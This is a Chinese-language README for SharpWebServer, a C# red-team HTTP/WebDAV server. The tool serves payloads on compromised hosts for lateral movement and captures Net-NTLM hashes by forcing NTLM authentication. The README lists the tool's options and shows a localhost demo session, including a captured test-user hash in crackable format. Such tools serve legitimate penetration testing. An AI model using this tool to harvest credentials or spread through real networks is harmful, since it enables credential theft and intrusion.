一个面向红队简单的HTTP & WebDAV服务器,用C#编写,具备捕获Net-NTLM哈希的功能。 用于在被攻陷的机器上提供载荷,以实现横向移动。
需要 .NET Framework 4.5 以及 System.Net 和 System.Net.Sockets 引用。
:: SharpWebServer ::
一个面向红队的C#简单HTTP服务器,具备Net-NTLMv1/2哈希捕获功能
作者:
- Can Güney Aksakalli (github.com/aksakalli) - 原始实现
- harrypatrick442 (github.com/harrypatrick442) - aksakalli的分支及修改
- Dominic Chell (@domchell) from MDSec - Net-NTLMv2哈希捕获代码借鉴自Farmer
- Mariusz Banach / mgeeky, <mb [at] binary-offensive.com> - 将所有构建模块整合在一起,
添加了NTLM认证的连接保活功能
用法:
SharpWebServer.exe <port=port> [dir=path] [verbose=true] [ntlm=true] [redir=true] [logfile=path]
选项:
port - 监听TCP端口号(1-65535)
dir - 要托管的文件目录
verbose - 开启详细模式
seconds - 指定服务器运行时长。默认:无限期
ntlm - 在提供文件前要求NTLM认证。用于收集NetNTLM哈希
(类似MDSec的Farmer风格)
redir - 在NTLM认证后根据URL中的redir参数进行重定向(例如 ?redir=https://example.com)
logfile - 输出日志文件路径
一个同时提供文件服务和捕获Net-NTLM哈希的示例用例:
服务器端:
C:\> SharpWebServer.exe port=8888 dir=C:\Windows\Temp verbose=true ntlm=true
:: SharpWebServer ::
一个面向红队的C#简单HTTP & WebDAV服务器,具备Net-NTLM哈希捕获功能
[.] 在端口 : 8888 上提供HTTP服务
[.] 将运行这么长时间 : 60 秒
[.] 已开启详细模式
[.] 已开启NTLM模式
[.] 从目录 : C:\Windows\Temp 提供文件服务
SharpWebServer [29.03.21, 17:55:14] NTLM: 由于缺少Authorization头,发送401未授权响应。
SharpWebServer [29.03.21, 17:55:14] ::1 - "GET /test.txt" - 长度: 0 (401)
SharpWebServer [29.03.21, 17:55:14] NTLM: 发送带有NTLM挑战响应的401未授权响应。
SharpWebServer [29.03.21, 17:55:14] ::1 - "GET /test.txt" - 长度: 0 (401)
[+] SharpWebServer: 捕获到Net-NTLM哈希:
TestUser:::1122334455667788:66303EE2DF9417E2FE07E1B7FD663205:010100000000000092EC04E8B324D701C2B561D5FECBB325000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C00080030003000000000000000010000000020000045E18A336DA58F5F0F826F846C699F77DCCF02BA5135525AC52EFBB0C0A1F1160A0010000000000000000000000000000000000009001C0048005400540050002F006C006F00630061006C0068006F00730074000000000000000000
SharpWebServer [29.03.21, 17:55:14] ::1 - "GET /test.txt" - 长度: 11 (200)
客户端:
C:\> curl -sD- http://localhost:8888/test.txt --ntlm --negotiate -u TestUser:TestPassword
HTTP/1.1 401 Unauthorized
Transfer-Encoding: chunked
WWW-Authenticate: NTLM
Date: Mon, 29 Mar 2021 15:55:14 GMT
HTTP/1.1 401 Unauthorized
Transfer-Encoding: chunked
WWW-Authenticate: NTLM TlRMTVNTUAACAAAABgAGADgAAAAFAomiESIzRFVmd4gAAAAAAAAAAIAAgAA+AAAABQLODgAAAA9TAE0AQgACAAYAUwBNAEIAAQAWAFMATQBCAC0AVABPAE8ATABLAEkAVAAEABIAcwBtAGIALgBsAG8AYwBhAGwAAwAoAHMAZQByAHYAZQByADIAMAAwADMALgBzAG0AYgAuAGwAbwBjAGEAbAAFABIAcwBtAGIALgBsAG8AYwBhAGwAAAAAAA==
Date: Mon, 29 Mar 2021 15:55:14 GMT
HTTP/1.1 200 OK
Content-Length: 6
Content-Type: text/plain
Date: Mon, 29 Mar 2021 15:55:14 GMT
foobar
WebDAV客户端:
C:\> dir \\localhost@8888\test
驱动器 \\localhost@8888\test 中的卷没有标签。
卷的序列号是 0000-0000
\\localhost@8888\test 的目录
30.03.2021 05:12 <DIR> .
30.03.2021 05:12 <DIR> ..
30.03.2021 04:27 11 test2.txt
30.03.2021 05:12 12 test3.txt
30.03.2021 05:12 <DIR> test4
2 个文件 23 字节
3 个目录 225 268 776 960 可用字节
C:\> type \\localhost@8888\test\test4\test5.txt
Hello world!
C:\> copy \\localhost@8888\test\test4\test5.txt .
1 个文件已复制。
NTLM哈希捕获代码和TCP监听器核心借鉴自MDSec ActiveBreach Farmer项目,由Dominic Chell (@domchell)编写:
WebDAV实现、NTLM认证保活逻辑以及其余部分由 Mariusz Banach / mgeeky, '21, <mb [at] binary-offensive.com> 完成
这个及其它项目都是不眠之夜和大量辛勤工作的成果。如果你喜欢我所做的,并且感激我始终回馈社区, 请考虑请我喝杯咖啡 (或者更好的是请我喝杯啤酒) 以表感谢!💪
Mariusz Banach / mgeeky, 21
<mb [at] binary-offensive.com>
(https://github.com/mgeeky)